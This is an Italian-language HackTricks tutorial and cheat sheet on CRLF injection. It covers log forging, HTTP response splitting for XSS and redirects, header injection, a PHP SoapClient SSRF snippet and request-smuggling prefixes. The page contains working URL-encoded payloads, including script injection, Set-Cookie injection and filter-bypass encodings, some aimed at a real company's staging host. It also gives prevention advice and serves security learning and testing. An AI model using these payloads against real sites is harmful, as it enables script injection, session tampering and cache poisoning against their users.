16 KiB
Iniezione CRLF (%0D%0A)
Impara l'hacking su AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud repos di github.
Suggerimento per bug bounty: iscriviti a Intigriti, una piattaforma premium per bug bounty creata da hacker, per hacker! Unisciti a noi su https://go.intigriti.com/hacktricks oggi e inizia a guadagnare taglie fino a $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
CRLF
Carriage Return (CR) e Line Feed (LF), conosciuti collettivamente come CRLF, sono sequenze di caratteri speciali utilizzate nel protocollo HTTP per indicare la fine di una riga o l'inizio di una nuova. I server web e i browser utilizzano CRLF per distinguere tra gli header HTTP e il corpo di una risposta. Questi caratteri sono universalmente impiegati nelle comunicazioni HTTP/1.1 tra vari tipi di server web, come Apache e Microsoft IIS.
Vulnerabilità di Iniezione CRLF
L'iniezione CRLF coinvolge l'inserimento dei caratteri CR e LF nell'input fornito dall'utente. Questa azione induce il server, l'applicazione o l'utente a interpretare la sequenza iniettata come la fine di una risposta e l'inizio di un'altra. Anche se questi caratteri non sono intrinsecamente dannosi, il loro uso improprio può portare a divisioni di risposta HTTP e ad altre attività dannose.
Esempio: Iniezione CRLF in un File di Log
Considera un file di log in un pannello di amministrazione che segue il formato: IP - Ora - Percorso Visitato
. Una voce tipica potrebbe essere:
123.123.123.123 - 08:15 - /index.php?page=home
Un attaccante può sfruttare un'iniezione CRLF per manipolare questo registro. Iniettando caratteri CRLF nella richiesta HTTP, l'attaccante può alterare il flusso di output e falsificare voci di registro. Ad esempio, una sequenza iniettata potrebbe trasformare l'entrata nel registro in:
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
Qui, %0d
e %0a
rappresentano le forme URL-encoded di CR e LF. Dopo l'attacco, il registro mostrerebbe in modo fuorviante:
IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
L'attaccante maschera così le proprie attività dannose facendo apparire che il localhost (un'entità tipicamente fidata all'interno dell'ambiente server) abbia eseguito le azioni. Il server interpreta la parte della query che inizia con %0d%0a
come un singolo parametro, mentre il parametro restrictedaction
viene analizzato come un altro input separato. La query manipolata imita efficacemente un comando amministrativo legittimo: /index.php?page=home&restrictedaction=edit
Divisione della Risposta HTTP
Descrizione
La Divisione della Risposta HTTP è una vulnerabilità di sicurezza che sorge quando un attaccante sfrutta la struttura delle risposte HTTP. Questa struttura separa gli header dal corpo utilizzando una sequenza di caratteri specifica, Ritorno a Capo (CR) seguito da Avanzamento Riga (LF), collettivamente denominata come CRLF. Se un attaccante riesce a inserire una sequenza CRLF in un header di risposta, può manipolare efficacemente il contenuto della risposta successiva. Questo tipo di manipolazione può portare a gravi problemi di sicurezza, in particolare Cross-site Scripting (XSS).
XSS attraverso la Divisione della Risposta HTTP
- L'applicazione imposta un header personalizzato in questo modo:
X-Custom-Header: UserInput
- L'applicazione recupera il valore per
UserInput
da un parametro di query, diciamo "user_input". In scenari privi di una corretta convalida e codifica dell'input, un attaccante può creare un payload che include la sequenza CRLF, seguita da contenuti dannosi. - Un attaccante crea un URL con un 'user_input' appositamente creato:
?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
- In questo URL,
%0d%0a%0d%0a
è la forma URL-encoded di CRLFCRLF. Inganna il server nell'inserire una sequenza CRLF, facendo sì che il server tratti la parte successiva come il corpo della risposta.
- Il server riflette l'input dell'attaccante nell'header di risposta, portando a una struttura di risposta non intenzionale in cui lo script dannoso viene interpretato dal browser come parte del corpo della risposta.
Un esempio di Divisione della Risposta HTTP che porta a un Reindirizzamento
Browser a:
/%0d%0aLocation:%20http://myweb.com
E il server risponde con l'intestazione:
Location: http://myweb.com
Altro esempio: (da https://www.acunetix.com/websitesecurity/crlf-injection/)
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
Nel percorso URL
Puoi inviare il payload all'interno del percorso URL per controllare la risposta dal server (esempio da qui):
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
Controlla più esempi in:
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
Iniezione di Intestazioni HTTP
L'iniezione di intestazioni HTTP, spesso sfruttata attraverso l'iniezione di CRLF (Carriage Return and Line Feed), consente agli attaccanti di inserire intestazioni HTTP. Questo può compromettere meccanismi di sicurezza come i filtri XSS (Cross-Site Scripting) o la SOP (Same-Origin Policy), portando potenzialmente a un accesso non autorizzato a dati sensibili, come i token CSRF, o alla manipolazione delle sessioni utente attraverso l'inserimento di cookie.
Sfruttare CORS tramite Iniezione di Intestazioni HTTP
Un attaccante può iniettare intestazioni HTTP per abilitare CORS (Cross-Origin Resource Sharing), eludendo le restrizioni imposte dalla SOP. Questa violazione consente a script provenienti da origini maligne di interagire con risorse provenienti da un'origine diversa, potenzialmente accedendo a dati protetti.
SSRF e Iniezione di Richieste HTTP tramite CRLF
L'iniezione di CRLF può essere utilizzata per creare e iniettare una nuova richiesta HTTP. Un esempio significativo di ciò è la vulnerabilità nella classe SoapClient
di PHP, nello specifico nel parametro user_agent
. Manipolando questo parametro, un attaccante può inserire intestazioni aggiuntive e contenuti del corpo, o addirittura iniettare completamente una nuova richiesta HTTP. Di seguito è riportato un esempio in PHP che dimostra questa forma di sfruttamento:
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
# Put a netcat listener on port 9090
$client->__soapCall("test", []);
Iniezione di Intestazioni per il Request Smuggling
Per ulteriori informazioni su questa tecnica e potenziali problemi controlla la fonte originale.
Puoi iniettare intestazioni essenziali per garantire che il back-end mantenga aperta la connessione dopo aver risposto alla richiesta iniziale:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
Sfruttamento:
- Iniezione di Prefisso Dannoso: Questo metodo coinvolge l'avvelenamento della richiesta del prossimo utente o di una cache web specificando un prefisso dannoso. Un esempio di ciò è:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1
- Creazione di un Prefisso per l'Avvelenamento della Coda di Risposta: Questo approccio coinvolge la creazione di un prefisso che, combinato con dati inutili finali, forma una seconda richiesta completa. Questo può attivare l'avvelenamento della coda di risposta. Un esempio è:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1
Iniezione di Memcache
Memcache è un archivio chiave-valore che utilizza un protocollo in testo chiaro. Maggiori informazioni in:
{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}
Per informazioni complete leggi il documento originale
Se una piattaforma sta prendendo dati da una richiesta HTTP e utilizzandoli senza sanificazione per effettuare richieste a un server memcache, un attaccante potrebbe sfruttare questo comportamento per iniettare nuovi comandi memcache.
Ad esempio, nella vulnerabilità originale scoperta, le chiavi della cache venivano utilizzate per restituire l'IP e la porta a cui un utente doveva connettersi, e gli attaccanti erano in grado di iniettare comandi memcache che avrebbero avvelenato la cache per inviare i dettagli delle vittime (inclusi nomi utente e password) ai server degli attaccanti:
Inoltre, i ricercatori hanno scoperto che potevano desincronizzare le risposte memcache per inviare gli IP e le porte degli attaccanti agli utenti di cui l'attaccante non conosceva l'email:
Come Prevenire le Iniezioni di CRLF / Intestazioni HTTP nelle Applicazioni Web
Per mitigare i rischi di Iniezioni di CRLF (Carriage Return e Line Feed) o Intestazioni HTTP nelle applicazioni web, sono raccomandate le seguenti strategie:
- Evitare l'Input Diretto degli Utenti nelle Intestazioni di Risposta: L'approccio più sicuro è evitare di incorporare direttamente l'input fornito dall'utente nelle intestazioni di risposta.
- Codificare i Caratteri Speciali: Se non è possibile evitare l'input diretto degli utenti, assicurarsi di utilizzare una funzione dedicata alla codifica dei caratteri speciali come CR (Carriage Return) e LF (Line Feed). Questa pratica impedisce la possibilità di iniezione di CRLF.
- Aggiornare il Linguaggio di Programmazione: Aggiornare regolarmente il linguaggio di programmazione utilizzato nelle vostre applicazioni web all'ultima versione. Optate per una versione che impedisce intrinsecamente l'iniezione dei caratteri CR e LF all'interno delle funzioni incaricate di impostare le intestazioni HTTP.
FOGLIO DI TRUCCHE
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
Strumenti Automatici
Elenco di Rilevamento Brute-Force
Riferimenti
- https://www.invicti.com/blog/web-security/crlf-http-header/
- https://www.acunetix.com/websitesecurity/crlf-injection/
- https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
- https://www.netsparker.com/blog/web-security/crlf-http-header/
Suggerimento per il bug bounty: iscriviti a Intigriti, una piattaforma premium per bug bounty creata da hacker, per hacker! Unisciti a noi su https://go.intigriti.com/hacktricks oggi e inizia a guadagnare taglie fino a $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se desideri vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusivi NFTs
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repository di Github.